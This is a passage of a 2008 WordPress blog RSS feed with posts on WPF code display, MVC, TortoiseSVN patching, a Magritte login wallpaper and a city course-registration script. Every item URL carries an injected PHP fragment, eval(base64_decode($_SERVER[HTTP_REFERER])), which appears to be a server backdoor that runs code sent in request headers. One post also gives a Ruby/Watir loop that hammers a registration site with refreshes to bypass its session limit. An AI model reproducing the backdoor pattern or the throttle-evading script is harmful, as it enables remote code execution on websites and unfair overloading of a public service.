    <span style="color: #000000;">&#123;</span>
        InitializeComponent<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        mViewModel = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ApplicationViewModel<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        DataContext = mViewModel;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">&quot;Text is: &quot;</span> + mViewModel.<span style="color: #0000FF;">EditBoxContents</span>, <span style="color: #808080;">&quot;Button Pressed&quot;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        mViewModel.<span style="color: #0000FF;">EditBoxContents</span> = <span style="color: #808080;">&quot;Reset&quot;</span>;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span>
&nbsp;</pre>
<p>This is what XAML code looks like:</p>
<pre class="xml">&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span> <span style="color: #000066;">x:Class</span>=<span style="color: #ff0000;">&quot;DemoApplication.App&quot;</span>
    <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;</span>
    <span style="color: #000066;">xmlns:x</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</span>
    <span style="color: #000066;">StartupUri</span>=<span style="color: #ff0000;">&quot;Window1.xaml&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application<span style="font-weight: bold; color: black;">&gt;</span></span></span>
&nbsp;</pre>
<p>
Normally I use Word 2007 to write the blog entries, it is very convenient.  However, you can't use it to post code, as it does not make the round trip (loading, editing, saving) without royally screwing up. <img src='http://brunzema.com/blog/wp-includes/images/smilies/icon_sad.gif' alt="icon sad A way to show computer source code in the blog..." class='wp-smiley' title="A way to show computer source code in the blog..." />
</p>
<p><span id="more-78"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Presentation Foundation and Model View Controller</title>
		<link>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 03 May 2008 17:28:01 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=53</guid>
		<description><![CDATA[A while back, Josh Smith wrote an article on Unit Testing and Model View Controller. The article features a small application that lets the user view some sample images. The WPF application uses and discusses the Model View Controller. While my kids were at swimming today, I analyzed the source code, to try to understand [...]]]></description>
			<content:encoded><![CDATA[<p>A while back, Josh Smith wrote an <a href="http://www.codeproject.com/KB/WPF/MVCtoUnitTestinWPF.aspx">article</a> on Unit Testing and Model View Controller. The article features a small application that lets the user view some sample images.  The WPF application uses and discusses the Model View Controller.  While my kids were at swimming today, I analyzed the source code, to try to understand what's going on.  There is not really that much source code there, but understanding what's going on requires that you understand WPF fairly well [try to figure out how the text items get into the list box, for instance]. I have tried to diagram my understanding of what's happening.
</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050308-1328-wpfandmvc12.png" alt="050308 1328 wpfandmvc12 Windows Presentation Foundation and Model View Controller"  title="Windows Presentation Foundation and Model View Controller" />
	</p>
<p>
 </p>
<p>All this leads me to think about Unit Testing and WPF, and the question: Is unit testing worthwhile for UI?  And at what point in time (or complexity) does it make sense to use the MVC or Model View-View-Model-Model pattern?
</p>
<p>What do you think? – leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using the Tortoise SVN Create Patch and Apply Patch feature</title>
		<link>http://brunzema.com/blog/2008/05/02/using-the-tortoise-svn-create-patch-and-apply-patch-feature/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/02/using-the-tortoise-svn-create-patch-and-apply-patch-feature/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 02 May 2008 12:25:14 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=31</guid>
		<description><![CDATA[The Create Patch and Apply patch Tortoise SVN commands are a developer's friend. Here's why. Let's say you worked on a piece of functionality and you need it code-reviewed by someone not on site. Since you don't want to commit, how do you get the software to the reviewer? Or what if you want to [...]]]></description>
			<content:encoded><![CDATA[<p>The Create Patch and Apply patch Tortoise SVN commands are a developer's friend.  Here's why.  Let's say you worked on a piece of functionality and you need it code-reviewed by someone not on site.  Since you don't want to commit, how do you get the software to the reviewer?  Or what if you want to take some uncommitted work from one of the workstations in the common area transfer it to your laptop?
</p>
<p><span style="color:#4f81bd; font-size:12pt"><em>Creating the Patch<br />
</em></span></p>
<ol>
<li>Do a SVN Update to get the latest bits from the trunk.
</li>
<li>
<div>Go to the top-level folder in your project tree in Windows Explorer, right click and choose Create patch.
</div>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor13.png" alt="050208 1225 usingthetor13 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" />
			</p>
</li>
<li>
<div>The Create Patch dialog comes up – up, listing (a) items you have made changes are <strong>checked</strong>, (b) items you have on your local system, but that are not in the repository are <strong>unchecked.</strong>
			</div>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor23.png" alt="050208 1225 usingthetor23 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" /><br/>
			</p>
</li>
<li>Any files with the checkmark will go into the patch (actually only the diffs go into the patch file). Click OK, and you are prompted to save.<br/><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor33.png" alt="050208 1225 usingthetor33 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" />
		</li>
<li>
<div>Congratulations, you have created your patch!
</div>
<p>
 </p>
</li>
</ol>
<p><span style="color:#4f81bd; font-size:12pt"><em>Applying the patch<br />
</em></span></p>
<ol>
<li>Go to the machine you wish to apply the patch to, and do a SVN update.  Also do a SVN Revert, to minimize chances of conflicts later on.  Now your machine's sandbox should match the repository.
</li>
<li>Copy the patch file from removable media or from the network to your local machine.
</li>
<li>Choose SVN Apply patch.<br/><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor43.png" alt="050208 1225 usingthetor43 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" />
		</li>
<li>Locate and open your .patch or .diff file:<br/><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor53.png" alt="050208 1225 usingthetor53 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" />
		</li>
<li>Tortoise will launch its merge program (you can configure what program to launch under tortoise options, unified diff viewer), and the file patch window.  Right click anywhere in the "File Patches" window, but not on any specific file, and choose patch all.<br/><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050208-1225-usingthetor63.png" alt="050208 1225 usingthetor63 Using the Tortoise SVN Create Patch and Apply Patch feature"  title="Using the Tortoise SVN Create Patch and Apply Patch feature" />
		</li>
<li>
<div>As soon as you choose this command, Tortoise will <strong>silently</strong> patch your files, and you're done.  To verify its work, you can attempt to do a commit and see what the changes are.
</div>
<p>
 </p>
</li>
</ol>
<p>Happy patching!</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/02/using-the-tortoise-svn-create-patch-and-apply-patch-feature/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>René Magritte</title>
		<link>http://brunzema.com/blog/2008/05/01/rene-magritte/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/01/rene-magritte/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 01 May 2008 12:19:26 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Desktop Wallpaper]]></category>
		<category><![CDATA[Magritte]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=19</guid>
		<description><![CDATA[René François Ghislain Magritte (November 21, 1898 – August 15, 1967) was a Belgian surrealist artist. He became well known for a number of witty and amusing images. I use the following image as the desktop background when I log in. I like the blue sky tones suggesting freedom, but when you open the window, [...]]]></description>
			<content:encoded><![CDATA[<p>René François Ghislain Magritte (November 21, 1898 – August 15, 1967) was a Belgian surrealist artist. He became well known for a number of witty and amusing images. </p>
<p>I use the following image as the desktop background when I log in. I like the blue sky tones suggesting freedom, but when you open the window, there is darkness. Sometimes things are deceptive…</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050108-1219-renmagritte14.png" alt="050108 1219 renmagritte14 René Magritte"  title="René Magritte" /></p>
<p>If you would like to have this picture as your background on Windows XP when you log in [it only changes the background while the login dialog is present!], please follow the following steps: [<strong>Note: </strong>I'm pretty sure this only works if you get a login dialog, not the login screen where you click icons to log in]. If you wish to modify such an icon-based (Fast User Switching) login screen, it is possible to use another tool such as <a href="http://www.shareup.com/downloading-28571.html">Logon Studio</a>. If you get a logon dialog, the following instructions apply:</p>
<ol>
<li>Download the Magritte.bmp file from <a href="http://www.brunzema.com/images/blog_images/magritte.bmp">here</a>. [You may need to right click on the link and save, see step 2]</li>
<li>Save the file in your Windows directory (usually c:\windows), you must have administrative privileges to do this.</li>
<li>Download <a href="http://www.brunzema.com/blog_extra/installwallpaper.reg">installwallpaper.reg</a> to your desktop (save it there) and double click it. The system will ask if you want to merge the contents to the registry. Click 'yes' to accept. [Verify the contents with a text editor, if you are paranoid, before clicking 'yes']. This will add the image to your background of the login screen, and change the background colour from blue to black. Delete the .reg file from your desktop.</li>
<li>To see the image, log off.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/01/rene-magritte/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Butting the line…</title>
		<link>http://brunzema.com/blog/2008/04/27/butting-the-line%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/04/27/butting-the-line%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 27 Apr 2008 19:44:46 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=8</guid>
		<description><![CDATA[Its sign up time again for the City of Toronto classes, which include swimming, dancing, sports and various camps.  I remember standing in line at 4:00am in the morning at the Franklin community centre with dozens of other parents a few years back - it was first come, first serve.  People had brought in chairs, [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:12pt">Its sign up time again for the City of Toronto classes, which include swimming, dancing, sports and various camps.  I remember standing in line at 4:00am in the morning at the Franklin community centre with dozens of other parents a few years back - it was first come, first serve.  People had brought in chairs, blankets etc...; it gets cold waiting in line.<br />
</span></p>
<p><span style="font-size:12pt">Then the city moved to Telephone registration.  You got a family number, and child number, course number and you did everything by phone, provided you could get past the busy tone.<br />
</span></p>
<p><span style="font-size:12pt">Then came the internet, and signing up for courses became much easier.  Go to your computer at 7:00am, pick the courses and voila. <br />
</span></p>
<p><span style="font-size:12pt">But that's not fair - people without internet access can't sign up as easily and are treated as second class citizens.  Thats why the city of Toronto came up with a Maximum number of Sessions for their website.  A means to throttle the users into more manageable chunks while being more fair.  You go to the site <a href="http://efun.toronto.ca/torontofun"><span style="color:blue; text-decoration:underline">http://efun.toronto.ca/torontofun</span></a> and, if you are exceeding the number, you get a polite message about how the number of sessions was exceeded, and the reason thereof.<br />
</span></p>
<p><span style="font-size:12pt">On the other hand, we have a busy life, and need to get our kids to school, finishing up with the registration.  So I quickly (&lt;5min) wrote the script below using ruby  <a href="http://rubyforge.org/frs/download.php/4174/ruby182-15.exe"><span style="color:blue; text-decoration:underline">ruby182-15.exe</span></a> (object oriented scripting language) and Watir <a href="http://rubyforge.org/frs/download.php/5677/watir-1.4.1.exe"><span style="color:blue; text-decoration:underline">watir-1.4.1.exe</span></a> (a framework for testing web applications using ruby). Once those two things are installed, load the following into your favourite editor...<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">require 'watir' <br/>test_site = 'http://efun.toronto.ca/torontofun'<br/>ie = Watir::IE.new<br/>ie.goto(test_site)<br/>while ie.contains_text("Maximum Sessions") <br/>    ie.refresh()<br/>end</span><span style="font-family:Times New Roman; font-size:12pt"><br />
		</span></p>
<p><span style="font-size:12pt">Even if you're not a programmer, this is pretty clean and easy to understand. Saved it as efun.rb, and double clicked.  Internet explorer went to the site, and did the equivalent of hitting the refresh button at the rate of 3 to 5 refresh cycles per second, flooding the server with requests.  In less than 5 minutes, we had the normal start screen showing. The script had done its job.  The little hacker in me rejoiced and I'm actually proud of this little script.<br />
</span></p>
<p><span style="font-size:12pt">Now is this ethical and fair?  I'm not sure. We could have been clicking refresh 2x per second manually to try to get in; I just automated the whole thing.  In any case I posted this if you were curious...<br />
</span></p>
<p><span style="font-family:Arial; font-size:10pt">Therefore, as God's chosen people, holy and dearly loved, clothe yourselves with compassion, kindness, humility, gentleness and patience. Col 3,12</span><span style="font-family:Times New Roman; font-size:12pt"><br />
		</span></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/04/27/butting-the-line%e2%80%a6/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

